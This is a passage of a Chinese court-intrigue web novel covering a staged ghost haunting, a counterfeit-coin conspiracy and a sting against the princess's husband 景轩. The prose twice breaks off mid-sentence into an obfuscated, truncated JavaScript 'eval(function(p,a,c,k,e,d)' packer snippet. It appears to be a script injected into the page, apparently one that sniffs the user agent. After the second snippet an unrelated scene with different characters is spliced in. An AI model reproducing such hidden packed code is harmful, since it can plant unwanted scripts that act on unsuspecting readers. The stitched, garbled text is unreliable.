众人齐齐抬头,顿时倒吸一口凉气——只见房梁上,月七正横躺着,手脚和脑袋都自然下垂,像个破布娃娃似的。 “月七!” 他们手忙脚乱地搬来梯子,爬上去将人救下来,一摸他的颈侧,还好,还有气。 “这、这女鬼是怎么进来的?”有人颤声问道。 另一个人咽了口唾沫,声音发颤:“你都说了是女鬼了,没听过神出鬼没吗?” “可她不是被道长的黄符伤到了吗?” “怕是恼羞成怒,回来报复书令大人的!” “还好还好,冤有头债有主,不找咱们就行。” 暗卫们你一言我一语,越说越怕,一个个脸色惨白。 他们当暗卫的,挣的那点碎银子,还不够塞牙缝的,整日里风吹日晒不说,还要时不时撞见中书令那些腌臜事。 要不是卖身契攥在人家手里,谁愿意干这份活?怕是早就回家种地去了。 “希望那女鬼下次来,能静悄悄来静悄悄走,别让咱们知道……”有人小声嘀咕。 “对,悄悄的来!” 另一个人附和道,“我不怕那女鬼,就怕她怀里抱着的那个鬼婴,那小脸,太渗人了!” 他们哪里知道,那让他们心惊胆战的鬼婴,不过是白天铎用白面捏出来的玩意儿。 夜色渐深,燕修延和谢伟恒踏着月色回了自己的府邸。 刚一进院子,就闻到一股子浓郁的麦香——只见院中石桌上,摆着几个圆滚滚的面人,正是白天铎捏的那个“鬼婴”模样,此刻正被蒸得热气腾腾,透着诱人的香气。 谢伟恒眼疾手快,上前一步便挡在了燕修延身前,将那个面人挡在了他的视线之外。 白天铎早已换回了自己的常服,正坐在石凳上晃着腿,见两人回来,当即咧嘴一笑,冲他们招了招手:“可算把你们盼回来了!这个时辰早饿了吧?我特地留了热乎的,快来尝尝!” —————————— 下章预告: 燕修延:你是不是脑子有坑的脑袋,大晚上的,你把这玩意蒸了摆我院子里?! 白天铎:我想着你们肯定也饿了,好心好意等你们吃,结果头儿你还打我。 56. 我要削死你 “白天铎你脑子有坑是吧!” 燕修延躲在谢伟恒身后,深吸了好几口气才压下心头的惊跳。 这面人做出来时他只觉胡闹。 晚上回来乍一看这白生生的面人,差点没给他魂儿吓飞。 燕修延几步冲到石桌前,背对着那面人,抬手就给了白天铎后脑勺一巴掌,力道不轻不重,带着咬牙切齿的怒意:“大晚上的,你把这玩意儿蒸了摆我院子里?!” 白天铎捂着后脑勺,委屈得眼眶都快红了,嘟囔着:“我想着你们折腾大半宿,肯定饿了,特地留着等你们回来吃的,头儿怎么还打人啊。” 燕修延翻了个大大的白眼,心说就这玩意儿,谁敢下嘴? 他闭着眼都能猜到今晚做梦的内容了,真想一巴掌把这缺心眼的扇墙上去。 “趁我还没真动手,赶紧带着这玩意儿麻溜滚蛋!” “哼,滚就滚!” 白天铎梗着脖子,端起那盘面人,脚尖一点墙,三两下就翻出院墙跑了,临走还不忘喊一句,“我自己回家吃!” 院子里总算清静下来。 谢伟恒走到燕修延身边,指尖轻轻碰了碰他紧绷的后颈,温声问:“我让人送些热水来,泡个澡解解乏,再歇息?” 燕修延摆摆手,蔫蔫地耷拉着肩膀:“不了,累了。” 手下这么糟心,真是比跑一趟密道还累。 “那便歇息吧。” 谢伟恒的声音里带着安抚的意味。 两人回了卧房,燕修延钻进被窝,刚闭上眼,就瞥见谢伟恒手里拿了本书进来。 他倏地睁开眼,警惕地问:“你看什么书?” 要是那什么《朱獳》之类的话本,他今晚就把书搁火上烧了! 谢伟恒把书递到他眼前,扉页上写着四个端正的大字——《金刚伏魔经》。 单看这名字,就让人莫名安心。 谢伟恒翻到第一页,抬眸看他,语气柔和:“我看经书,喜欢念出来,不知燕大人可介意?” 那可真是太不介意了! 燕修延立刻拢了拢被子,往床里缩了缩,瓮声瓮气地说:“你念吧,我先睡了。” 谢伟恒低缓的声音在夜色里响起,字字句句都带着沉静的力量。 燕修延听着听着,紧绷的神经渐渐放松,困意如潮水般涌来,没多久便沉沉睡去。 谢伟恒停下诵读,合上书放在床头,吹灭了烛火,轻轻躺在他身侧。 夜色静谧,没过多久,睡得不安稳的燕修延就像只寻暖的猫,迷迷糊糊地滚进了他怀里,额头蹭着他的衣襟,呼吸浅浅。 谢伟恒低头,在他光洁的额头上印下一个轻吻。 “好梦。” 好梦?……那是不可能的。 燕修延的梦里,满是那个巨大的面人婴儿,青面獠牙地追着他跑,他跑得上气不接下气,眼看就要被追上。 谢伟恒忽然穿着道袍从天而降,手持桃木剑,几下就收服了面人婴儿。 燕修延刚松了口气,就看见白天铎端着一碗元宵笑眯眯地走来。 低头一看,哪里是什么元宵,碗里全是拳头大小、龇着尖牙、面色青紫的小婴儿! “白天铎!你个瘪犊子!我削死你!” 燕修延的怒骂声划破了夜的宁静。 谢伟恒被惊醒,低头看着怀里皱着眉、一脸怒气的人,无奈又好笑,抬手轻轻拍着他的后背,温声哄着:“睡吧,明天我陪你去削他。” 第二日。 中书令是被头痛和脖子痛醒的。 他呆坐在床上,揉着发疼的后脑勺,半天没回过神来。 昨夜睡前发生了什么?他怎么一点印象都没有?怎么会头痛脖子痛成这样? 他慢吞吞地起床洗漱。 这时管家就匆匆走了进来,躬身道:“老爷,明日便是小少爷的抓周宴,您看……” “抓周?” 中书令一怔,随即道,“我记得是十六,是明日没错。” 管家的神色变得有些古怪,小心翼翼地提醒:“老爷,今日便是十六了。” “什么?” 中书令猛地站起身,心里咯噔一下,一股不安的预感涌了上来。 他只记得十四日的事,十五日整整一天,竟是一片空白! 中书令连忙抓住管家的手臂,声音发紧:“昨日,昨日可曾发生什么奇怪的事情?” 管家的脸色瞬间变了,先是惊愕,而后压低了声音,语气里带着几分后怕:“老爷,昨个儿夜里的事情,您都忘了?” 中书令的心沉了下去,皱着眉追问:“到底发生了什么?” “昨个儿——” 管家的声音陡然拔高,又猛地压低,凑近他耳边,“昨个儿夜里子时,有个抱着婴儿的女鬼找上门来,闹得府里鸡犬不宁,还是道长出手,用黄符把她打跑的啊!您怎么会忘了?” 中书令的脸色“唰”地一下变得惨白,浑身都控制不住地颤抖起来:“当真?你说的都是实话?” “老爷若是不信,可去问道长,府里的暗卫也都看见了!” 中书令自然信得过跟了自己几十年的管家。 他挥退管家,立刻招来暗卫,厉声问道:“昨天夜里,我的房间里发生了什么?” 暗卫跪在地上,战战兢兢地回禀:“回老爷,昨夜您的卧房里突然传来奇怪的歌声,而后房门无风自开,又无风自关,紧接着便有白雾弥漫。 小的们冲进去时,见您在床上安睡,值守的月七被人打晕在房梁上,醒来后……竟也忘了昨夜发生的事。” 中书令放在桌案上的手,抖得越发厉害,指尖冰凉。 “去、去叫道长……不,本官亲自去!” 他话音刚落,身后的密道入口突然传来一阵响动。 转头一看,竟是晋王从里面走了出来,脸色同样不太好。 “你这是怎么了?脸色差成这样?”晋王皱眉问道。 中书令挥退左右,将昨夜的怪事和自己失去记忆的事,一五一十地说了。 晋王听完,惊得差点跳起来:“什么?贺梦雨那女鬼被打退了,居然还跑到你这里来?!” 他后怕地摸了摸怀里的黄符,暗自庆幸,幸亏中书令给了他这保命的东西。 当下便决定,今晚睡觉,一定要把黄符贴在脑门上才安心。 中书令不敢耽搁,连忙去找道长和大师。 道长装模作样地绕着中书令转了三圈,嘴里念念有词。 半晌才停下脚步,眉头紧锁,一脸为难地说:“此事不太好办啊。大人的记忆,是被那女鬼的煞气封锁了,唯有将那女鬼彻底消灭,才能恢复记忆。” 中书令吓得腿都软了,声音发颤:“那、那本官……” 一旁的大师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可他打开床底的暗格,却瞬间傻眼了——里面的五万两银票、十锭金子,还有那些碎银子,竟全都不翼而飞! 道长闻讯赶来,在暗格旁嗅了嗅,故作高深地说:“这里有浓重的鬼气!定是那女鬼昨夜潜入,把钱偷走了!” 中书令的脸色又白了几分,失声问道:“鬼……鬼还要钱做什么?” 道长掏出几道黄符,贴在暗格四周,沉声解释:“此鬼怨气深重,恐会附身于八字弱的生人身上,届时,这些银子自然就派上了用场。” 中书令听得心惊肉跳,勉强松了口气,只当是破财消灾。 接下来的几日,中书令整日活在惶恐之中,生怕那女鬼再找上门来,神色一日比一日憔悴。 白天铎摩拳擦掌,还想再扮一次女鬼去吓吓中书令时。 监察司的人却传来了消息——吴县的案子,查出些眉目了。 ———————————— 下章预告: 燕修延:”陛下需要臣去暗杀他么?钱到位臣立马就去拧断他的脖子。” 虞睿祥扭头看向一直没说话的谢伟恒:“谢卿,你家这位唯恐天下不乱。” 57. 怪不得呢 吴县笼在连绵群山的褶皱里,山雾终年不散,把那处藏在密林深处的矿场捂得严严实实。 矿奴们赤着脚踩在泥泞里,将一块块乌黑的矿石撬下来,哐当哐当地扔进竹筐,再由精壮汉子背着,深一脚浅一脚地送到山腰的冶炼坊。 炉火昼夜不熄,映红了半边天,火星子溅在匠人黧黑的脸上,噼啪作响。熔好的铜水倒进模具,冷却后脱模,便是一串串带着毛刺的铜钱。 匠人用糙布反复打磨,再浸到特制的药水里做旧,不出半日,崭新的铜钱就蒙上了一层灰扑扑的包浆,看着竟像是流传了数年的旧物。 最后,这些铜钱被仔细码进箩筐,上面铺一层刚采的野菜、菌菇,绿油油的,还沾着晨露。扮作猎户的汉子们背起箩筐,腰上别着柴刀,脚步轻快地往山下走,路过关卡时,只咧嘴笑笑,递上几串野山鸡,守兵便挥挥手放行了—— 谁能想到,那堆看着不值钱的野菜底下,藏着的是能动摇国本的私铸钱。 这些钱最终被送进吴县县城里的几家酒楼。 而这几家酒楼的东家,正是那看似清廉的吴县县令。 他捻着胡须,看着账本上密密麻麻的数字,只从中抽了一小部分塞进自己的腰包,余下的,全都打上“官用”的印记,一路畅通无阻地往京城送。 吴县、京城、晋王府,这三点连起来,便是一条见不得光的金线。 货物抵京后,先由贺昭接手,他将那些私铸钱从货物里拆出来,再转到季风手上。 季风手段高明,借着自家钱庄的便利,将铜钱兑换成银子、银票,一笔笔洗白,待到数目可观了,便趁着夜色,送到晋王府那扇朱红大门后。 御书房内,燕修延跷着二郎腿坐在锦凳上,手里把玩着一枚私铸钱,钱身的纹路粗糙,却沉甸甸的。 “这么多钱,混在货物里进京,一次都没被抓?” 他抬眼看向御座上的虞睿祥,唇角勾着一抹戏谑的笑:”陛下,这给你看大门的人,怕不是早就被人收买了吧?” 虞睿祥指尖重重地叩在御案上,脸色沉得能滴出水来。 他看着奏折上那“四百万贯”的字样,只觉得一股寒气从脚底窜上来:“现在是运钱,将来就是放晋王的私兵进城了!” 一个小小的吴县,就能铸出四百万贯私钱,晋王的手笔,远不止于此。 他要这么多钱,绝不是为了挥霍,分明是在豢养私兵,图谋不轨。 “陛下圣明。” 燕修延收敛了笑意,从袖中掏出一封信,递了上去,“臣派出去的人,乔装成流民混进晋王封地,亲眼瞧见了——他那王府后院,藏着足足三千私兵。” 虞睿祥的眼神骤然变得冰冷,像淬了霜的刀子:“此前你说,晋王现在就在京城。” 燕修延点头,拇指摩挲着腰间的佩剑,语气轻描淡写,却带着一股子狠戾:“陛下需要臣去暗杀他么?只要陛下的钱给到位,臣今夜就摸进,拧断他的脖子,神不知鬼不觉。” 御座旁,谢伟恒一直垂着眼帘,手里捧着一卷书,仿佛对殿内的谈话充耳不闻。 虞睿祥扭头看向他,“谢卿,你家这位不光唯恐天下不乱,戾气还变重了。” 谢伟恒缓缓抬起眼,眼底盛着浅浅的笑意,声音温润:“燕大人自有分寸。” 燕修延同皇帝议事时,他在想一件事情。 季风被抓后,贺昭打理的四家铺子照常经营,暗中蹲守的人不曾发现过问题。 “除却季风府上搜出来的私铸钱,是否还有进入京城,但没来得及处理的,又或者说,通过别的方式处理掉了?” 燕修延眼睛一亮,当即拍了下大腿:“这话问到我心坎里了!认为有的请举手!” 说着,他率先举起手,胳膊举得笔直,像个邀功的孩童。 虞睿祥刚想反驳,却瞥见谢伟恒也慢条斯理地举起了手。 虞睿祥看着那两只并排举起的手,嘴角抽了抽。 “……谢卿你……” 他心里明明也觉得有,可这种举手的方式,实在太过幼稚,他堂堂一国之君,怎么能跟着胡闹。 燕修延可不管这些,直接拍板:“咱们就赌一百两黄金!若是臣跟谢大人赢了,陛下给我们一人一百两黄金就行。 若是陛下赢了,那谢大人给陛下一百两黄金。” 虞睿祥十分怀疑燕修延把他当冤大头,并且他有证据。 他指着燕修延,半天说不出话来:“为何朕赢了,你们只需要给朕一百两?” 燕修延理直气壮,还带着点委屈:“臣和谢大人成亲了,是一家人啊!一家人的钱,那不就是一份么?” 虞睿祥被堵得哑口无言,过了半晌才憋出一句:“那为何你们赢了,朕要给你们一人一百两?” 燕修延立刻换上一副可怜巴巴的模样,摊开双手:“因为臣穷啊!陛下富有四海,还在乎这点小钱么?” 虞睿祥看着他那副无赖的样子,只觉得太阳穴突突直跳。 他活这么大,从没见过哪个臣子敢明晃晃地从皇帝兜里掏银子。 可燕修延还在一旁穷追不舍,挑眉道:“陛下你赌不赌?一国国主,不会连这点都不敢赌吧?” 虞睿祥揉了揉眉心,长长地叹了口气,活像吞了个苍蝇:“赌……” 赌个鬼!用脚趾头想也知道会输。 他自我安慰着,朕这么开明,不与臣子计较,将来定会成为开启大虞盛世、流传千古的明君。 御书房的夜宴散了时,月亮已经爬上了树梢,清辉洒满长街。 燕修延和谢伟恒并肩走出宫门,上了马车。 马车辘辘前行,月亮越升越高,清辉如练。 而此时的公主府,却又是另一番光景。 虞睿祥又去自家皇妹府上揭瓦摔了。 虞湘晔正斜倚在软榻上摇着扇子,听见动静,慢悠悠地撩起眼皮,瞥了他一眼:“皇兄,我把府里的瓦都揭了,送进宫给你摔着玩,如何?” 虞睿祥沉着脸,用帕子擦了擦手,语气不善:“你若是换成金子做的瓦片,朕会更高兴。” 虞湘晔摇扇子的动作猛地一顿,她挑了挑眉,语气里带着几分玩味:“皇兄这是缺钱了?难不成是私库被人掏空了?” 虞睿祥叹了口气,一屁股坐在椅子上,满脸的疲惫:“朕的私库被耗子钻了个洞,现在还有一只猫帮着耗子往外运钱。” 虞湘晔何等聪慧,瞬间就明白了他的意思。 她没问那耗子和猫是谁,只是开门见山:“皇兄这次来找我,是要查驸马么?” 自从得知贺昭与外人勾结,她便隐隐觉得不对劲。 那些私铸钱能悄无声息地进城,城门巡检怕是脱不了干系,而景轩,正是现任的城门巡检。 虞睿祥并不意外她能猜到,点了点头:“朕记得景轩与你成亲之前,便是任城门巡检。成亲后,朕要升他的官,他却说与同僚相处习惯了,拒绝了。” 景轩样貌中上,身材健硕 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虞湘晔伸出手,看着指甲上鲜艳的丹蔻,唇角勾起一抹冰冷的笑,“景家在得知我有意招他为驸马后,便立刻把这门亲事退了。” 当时她还想着,女方家大约是顾及面子,帮着景家遮掩。 虞湘晔不愿深究,甚至还特意为那姑娘寻了门不错的亲事作为补偿。 “皇兄只管查。” 虞湘晔的声音冷了下来,带着一股子决绝,“如果真的是景轩……” “定罪后,朕将他交给你处置。” 虞睿祥打断她的话,语气郑重。 他知道,虞湘晔看似娇纵,骨子里却有着不输男子的傲气。 “好。” 虞湘晔应得干脆。 倘若景轩只是私下里与别的女子有染,她还能睁一只眼闭一只眼,甚至和离放他走。 但她绝不容许,有人借着她长公主的名号,行谋逆之事。 她抬眼看向虞睿祥,问道:“皇兄想要怎么查,需要我做什么?” 虞睿祥俯身在她耳边,低声说了几句。 虞湘晔听完,先是一愣,随即笑得前俯后仰,眼泪都快笑出来了。 她捂着肚子,好半天才喘过气来,指着虞睿祥,笑得说不出话:“这……这定是修延哥的主意吧?能想出这种荒唐办法的,满朝文武,也就只有他了。” 虞睿祥颔首,脸上也难得露出一丝笑意:“皇妹猜的不错。” 虞湘晔用帕子沾了沾眼角的泪,笑意渐渐敛去,眼神冷得像冰:“修延哥会提出这种主意,怕是已经发现景轩私下里的品行不端了,只是顾及我的颜面,不便直说,是么?” 虞睿祥没有说话,算是默认了。 “怪不得……” 虞湘晔又笑了起来,只是这笑意里,带着几分狠厉,“告诉修延哥,若景轩真的上套,记得下手狠一点,而且闹得越大越好。哦,对了,” 她顿了顿,眼底闪过一丝狡黠,“让他们给我也安排上一出戏。我倒要看看,这只披着羊皮的狼,到了戏台子上,会是何等丑态。” ———————————— 注解: 现在是五月,长公主成亲是在二月 下集预告: 温瑞男扮女装欲和景轩擦出爱情火花 58. 胆子挺大的 街边的面人摊围了些孩童,糖稀的甜香混着面塑的麦香飘在风里。 朱语秋攥着温瑞的袖角,指尖点着摊上粉雕玉琢的兔儿和面鸡,眼尾弯得像月牙:“小姐,你看这个师傅面人捏的可真好!” 温瑞垂眸,掩在薄纱后的眼睫轻颤,压着喉间的沉哑,语气温软得像真的世家小姐:“你挑几个喜欢的,我买给你。” “谢谢小姐!” 朱语秋脆生生应着,指尖刚触到那只白兔,便见不远处一道骑影勒缰驻停—— 景轩坐在马背上,目光早黏在了轮椅上的温瑞身上,那双凤眼露在面纱外,眼波流转间带着几分清媚,偏又藏着点说不清的英气,一眼便勾得他心头发痒。 他素来偏爱这男扮女装的调调。 眼前这人,眉眼身段皆是上品,竟是比往日见的所有都合心意。 景轩利落翻身下马,玄色锦靴碾过青石板,给身侧的小厮递了个眼色。 小厮立马会意,牵着马跟在他身后,几步便走到面人摊前,扬着声打圆场:“少爷,这面人可真好看,您买两个给老爷和夫人吧。” “看吧,温瑞一出马,景轩就落马。” 面人摊斜对面的茶楼雅间,窗扇半开,风卷着瓜子皮落在窗沿。 燕修延斜倚着栏杆,指尖捏着颗瓜子,嗑得咔嚓响,眼梢扫着楼下的景轩,嘴角勾着戏谑。 谢伟恒坐在他身侧,目光落在燕修延轮廓利落的侧脸上,指尖摩挲着杯沿,笑意温温的,却藏着点促狭:“今日我见燕大人挑女子衣衫时,似乎颇有心得。” 燕修延捏瓜子的手猛地一顿,脸皮子几不可查地僵了瞬,转瞬便装作漫不经心的模样,把瓜子皮一弹:“我随便挑的,眼光不错吧。” “嗯,燕大人的眼光自然是极好的。” 谢伟恒的笑漫进眼底,意味深长,尾音轻轻挑着。 听得燕修延耳尖微热,忙生硬地转了话头,把瓜子往他手里塞了颗:“好说好说,看戏、看戏。” 温瑞眉峰早被脂粉掩去凌厉,易容膏改了下颌的棱角,添了几分柔和。 唯有身形瞧着比寻常女子高挑些。 问题不大,好在轮椅衬着,倒也不突兀。 朱语秋上前挑了兔儿和面鸡,凑到脸颊边,晃着温瑞的胳膊:“小姐,这个小兔子和小鸡仔是不是特别可爱?” 温瑞忍着喉间的恶心,扯出一抹笑,伸手去摸腰间的铜板:“可爱,你也可爱。” 两人都忍着恶心,扮演着天真丫鬟和男扮女装的沉稳小姐。 “我来吧。” 温瑞指尖刚触到铜板,一道男声便插了进来,带着几分刻意的温柔。 景轩递出十枚铜钱,指尖擦过温瑞的手背,目光黏在他露在面纱外的凤眼上:“相逢即是有缘,小姐的这两个面人钱,我一并付了。” 温瑞仰头看他,面纱后的唇瓣勾出一抹笑。 眼波流转间带着几分勾人的媚,看得景轩心痒难耐。 鼻尖又钻进一缕淡淡的冷香,似梅似兰,勾得他深吸了一口气,只觉连这香气都带着勾魂的劲儿。 面人郎却面露难色,搓着手道:“这位公子,面人是十文钱一个,您的小厮拿了两个,您这一共是四十文钱。” 小厮脱口便骂:“十文钱一个你怎么不去抢——” 温瑞没再看他们,掏出二十个铜板摆在摊上,声音淡了些:“秋儿,咱们该回去了。” “好的小姐,你帮我拿着哈。” 朱语秋把面人塞进温瑞手里,推着轮椅往前走。 “哎!” 景轩剜了小厮一眼,掏出二十枚铜板,快步去追温瑞。 平日里景轩不会这般着急,他心里有个声音在叫嚣,今天无论如何也要弄到手。 朱语秋拐进了街边一条僻静的巷子,扬着声喊:“小姐,咱们今天抄近道,这样夫人就不会发现咱们偷偷出门啦!” 温瑞举着面人,配合着应:“那这两个面人你可得藏好。” 景轩心中大喜,只当是老天助他。 他熟稔京城的街巷,让小厮跟在两人身后。 自己则随手在街边买了个玄铁面具戴上,从另一条巷口拐进去,不多时便拦在了温瑞和朱语秋面前,声音沉了些,带着势在必得:“我有些事情,想同这位公子谈一谈。” 温瑞眼底的笑意瞬间敛尽,冷了下来,故作不解:“我不明白你在说什么,劳烦让一让。” 朱语秋立马双手叉腰,指着景轩的鼻子就要骂,后颈却突然一麻,身子一软便倒了下去。 温瑞听见动静,忙装作惊慌失措的模样,声音发颤:“你究竟是什么人,想要做什么!” “我只是想与公子谈谈,为何你穿着女装。” 景轩话音落,突然出手,一掌劈在温瑞颈后,温瑞眼前一黑,便没了意识。 景轩伸手将人横抱起来,指尖触到温瑞的肩背,竟顿了顿—— 没想到这人看着清瘦,竟这般重,差点闪了他的腰。 小厮指着地上的朱语秋,低声问:“老爷,你看这个……” 景轩满脑子都是温瑞那双凤眼,无所谓地摆了摆手:“记得把人嘴堵牢了,别办事办到一半,人醒了乱叫。” “胆子挺大的。” 巷口的墙头,燕修延半蹲在青砖上,指尖捏着片落叶。 景轩主仆一人抱着一个走到巷子尽头,左拐进了一处朱门小院。 景轩这轻车熟路的模样,显然是没少做这强抢的勾当。 谢伟恒站在他身侧,衣袂被风吹得轻扬,语气却冷了几分,眼底凝着沉色:“先帝在时,这等做派不在少数。” 平民百姓家有样貌好的孩子,尤其是姑娘,根本不敢轻易出门。 便是出门,也总要把脸遮严实了,或是抹上锅底灰,生怕被这些权贵子弟瞧上。 就连先帝自己,也曾乔装出宫,在街头强抢过女子。 何其荒谬,又何其可悲。 先帝行径荒唐,生在这世道的黎民百姓,便只能这般提心吊胆,任人欺凌。 “别气别气,好在咱们陛下是个好的。” 燕修延拍了拍谢伟恒的肩,指尖蹭过他微凉的衣料,眼底翻着狠戾,“这种人,见一个阉一个,见一双阉一双,走。” 那处两进的小院,是景轩藏在城外的私宅,专用来与那些男子欢好。 有自愿贴上来的,也有像温瑞这样,被他强行掳来的。 景轩把温瑞放在软榻上,便急不可耐地去解自己的衣扣,锦袍、里衣层层褪去。 只剩一身裘裤时,院门外突然传来一声巨响—— 房门被人一脚踹开,木屑纷飞间,一群黑脸大汉涌了进来,为首的汉子扛着一架空轮椅,脸涂得漆黑,只露着一双眼白分明的眼睛,见了床上的温瑞,声音都抖了,撕心裂肺地喊:“少爷!” 正是白天铎。 他扔掉轮椅,扑到床边,双手拼命摇晃着温瑞:“少爷!你醒醒啊少爷!” 温瑞被晃得胃里翻江倒海,暗骂白天铎这出戏演得太过。 却还是顺着劲,幽幽转醒,揉着额头,故作迷茫:“……我这是在哪儿?” 嚯!监察司兄弟们的脸涂的也太黑了!就只能看见眼白和牙齿了。 妆扮的真细致,露在外面的皮肤全涂成黑炭了。 白天铎立马接戏,“嗷”的一声哭出来,眼眶红得真切:“我在巷子里发现你的轮椅,还有掉在地上的帕子,吓的我手都在抖!还以为你出了什么事!” 温瑞坐起身,指着往窗户边缩的景轩,声音发颤,带着后怕:“是他把我打晕了,秋儿呢?秋儿也不见了!” “少爷放心!” 白天铎拍着胸脯,声音洪亮,“我们把这院子搜了个底朝天,每个房间都找过了,秋儿已经被救下来了,半点事都没有!” 话音刚落,景轩的小厮便被两个大汉丢了进来,结结实实撞在景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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前院里,李修远站在桂花树下,袖中的手攥得死紧,眼底翻着怨怼,对着面前的李想,语气带着几分不甘与愤懑:“爹爹当真连儿子的前程都不顾了,非要护下那只孤鬼!如今满城的官宦人家都在看咱们李家的笑话,您就一点都不在意吗?” 李想抬眼,看了他一眼,目光沉沉的,却没说话,又缓缓低下头,指尖摩挲着腰间的玉带,喉间似堵着什么,半晌都没出声。 张采茵站在一旁,听得李修远这话,顿时沉了脸,走上前,抬手便要打,又硬生生忍住,只厉声训斥:“越发没规矩了!你爹爹给你取名修延,就是希冀你志向高远,坚韧不拔,行事有分寸,你倒好,整日里口无遮拦,什么话都敢说,你说你怎么也不长点记性啊!” “娘!” 李修远挣开她的手,红了眼,“我哪里说错了?那李羽飞刚出生就克死了祖父母,爹爹偏要把她接进府里,如今倒好,为了她连我的前程都不管了!” “都闭嘴!” 李想终于开口,声音沉得像打雷,震得院中的桂叶簌簌落了几片。 他抬眼,目光扫过李修远和张采茵,眼底满是疲惫,却又带着几分坚定:“满城官宦人家都看着咱们,把自己的亲生女儿拒之门外,以后还怎么做人?再说,羽飞本来就乖巧,这些年在府里,谨言慎行,半点过错都没有,修远,你就这么容不下她吗?” 李修远被他喝得一怔,张了张嘴,却终究没说出话来,只梗着脖子,别过脸去,眼底的怨怼,却半点都没消。 ———————————— 盲猜一下吧,会不会将来的某一天,燕修延把自己挑的女装穿在了自己的身上 下集预告: 肖泽指着轮椅上的温瑞说:“公主殿下,这位是我家少爷。” 虞湘晔装作惊讶的问:“你家少爷是姑娘?” 59. 搂!随便搂 朱语秋推着温瑞的轮椅,轮轴碾过青石板路发出轻响,温瑞垂着的指尖还微微发颤,方才憋出来的泪意还残在眼尾,衬得那双杏眼水光潋滟,瞧着愈发可怜。 白天铎等人架着软塌塌的景轩和小厮,两人脚下的血渍在府门外拖出两道蜿蜒的红痕,风一吹,淡淡的血腥味飘散开,惊得廊下的雀鸟扑棱着翅膀飞远。 白天铎蒲扇大的手拍在朱漆大门上,“嘭嘭”声震得门环嗡嗡响。 门内的门童刚探出头,见门外乌泱泱一群精壮汉子,个个面色冷硬,吓得身子一缩就要关门。 白天铎眼疾手快,粗粝的手掌抵住门板,粗声粗气的嗓音撞在门楣上:“快去通传你家公主,兄弟几个把她的驸马爷送回来了!” 门童这才看清汉子中间架着的人,正是长公主的驸马景轩,他双眼紧闭,唇色惨白,脚下那滩暗红的血渍刺得人眼晕,小厮更是早吓破了胆,瘫在地上只剩哼哼。 门童魂儿都快飞了,连滚带爬地往府里跑,嗓子里的喊声都破了音:“殿下!殿下!大事不好了!驸马爷出事了!” 不过片刻,府内的侍卫鱼贯而出,手持长刀分列两排,玄色衣甲衬得府门愈发肃穆。 虞湘晔早已穿戴齐整,月白绣折枝玉兰的锦裙,外罩一件石青纱衣,乌发高挽,仅簪一支羊脂玉簪,脸上无半分慌乱,缓步走出时,周身的冷意让周遭的空气都凝了几分。 她抬眼扫过众人,声线清冷:“何人敢在本宫府外喧哗闹事?” 肖泽上前一步,拱手行礼,姿态不卑不亢:“殿下,这小厮称此人是您的驸马,不知他所言是否属实?” 话音刚落,景轩的眼皮猛地颤动,缓缓睁开,视线昏沉间正好听见虞湘晔的声音:“是,他是本宫的驸马。你们,对他用刑了?” 肖泽侧身让出身后的轮椅,抬手指向温瑞:“公主殿下,这位是我家少爷。” 虞湘晔眸光落在温瑞身上,装作诧异,眉梢微挑:“你家少爷,竟是个姑娘家?” “回殿下,” 肖泽摇头,语气恭敬,“我家公子自小身子骨孱弱,遇过方士,说得当姑娘家养才能平安长大,故而平日里多穿女装。” 这话刚落,白天铎便上前一步,胸膛挺得笔直,义愤填膺的模样:“公主殿下,您这驸马爷胆大包天!见着我家少爷,竟直接打晕了欲行不轨,他身边这小厮,还对我家少爷的丫鬟动手——” “够了!” 肖泽故作厉声打断,声音不大不小,刚巧让在场所有人都听得一清二楚,他轻蹙眉头,意有所指,“事关姑娘家的清誉,此事慎言,莫要污了旁人耳朵。” 景轩听得心头一紧,不顾身上的剧痛,虚弱地开口,声音嘶哑:“殿下,我不曾做过对不起你的事,殿下定是清楚我的心意的。 我攒了俸禄,只为买一支赤金镶珠簪讨殿下欢心,怎会做那等荒唐事?” 他偏头看向温瑞,目光带着几分急切的辩解,“况且这位少爷的身量,一看便不是女子,我纵使眼拙,也不至于至此。” 温瑞闻言,手指猛地揪住衣袖,指节泛白,眼眶瞬间蓄满了泪水,大颗大颗的泪珠顺着脸颊滚落,砸在素色的衣袖上,晕开点点湿痕,那模样,似是受了天大的委屈,连哭都不敢大声,只默默垂泪,看得人心头发软。 燕修延用胳膊肘轻轻捣了捣身侧的谢伟恒,压低声音打趣:“你瞧瞧温瑞这演技,炉火纯青的,跟你莫不是一个师父教出来的?” 谢伟恒脸颊微红,眉眼半垂,长长的睫毛掩住眼底的笑意,语气带着几分羞赧:“夫君惯会拿我说笑。” 燕修延噎了一下,看着他那副娇怯模样,到了嘴边的话又咽了回去。 还是专心看戏吧。 他抬手挠了挠有些发热的耳朵,目光又落回场中。 虞湘晔的目光落在温瑞身上,语气平和:“你且说说,究竟是怎么一回事?” 温瑞吸了吸鼻子,声音软糯,带着浓重的鼻音,字字泣泣:“他、他见着我,开口便唤我公子,还质问我为何穿女装……然后就、就动手打晕我……” “他在污蔑我!” 景轩猛地抬眼,直视着虞湘晔的眼睛,急切辩解。 虞湘晔也在看景轩。 他生得一副老实面相,此刻脸色惨白如纸,唇上毫无血色,又因疼痛和失血,额角渗着冷汗,那认真又不回避的眼神,倒真让人生出几分他受了冤枉的错觉。 只是,仅仅是错觉而已。 虞湘晔看着他,眸光淡淡,语气听不出喜怒:“景轩,你摸着自己的良心告诉本宫,事情的真相,究竟是怎样的?” 景轩心中骤然忐忑,公主的态度太过平静,平静得让他捉摸不透,他咬了咬牙,再次开口,语气愈发肯定:“殿下,我是无辜的,您难道不信我么?” “哈哈——” 虞湘晔突然笑了起来,笑声清冽,却带着几分冷意。 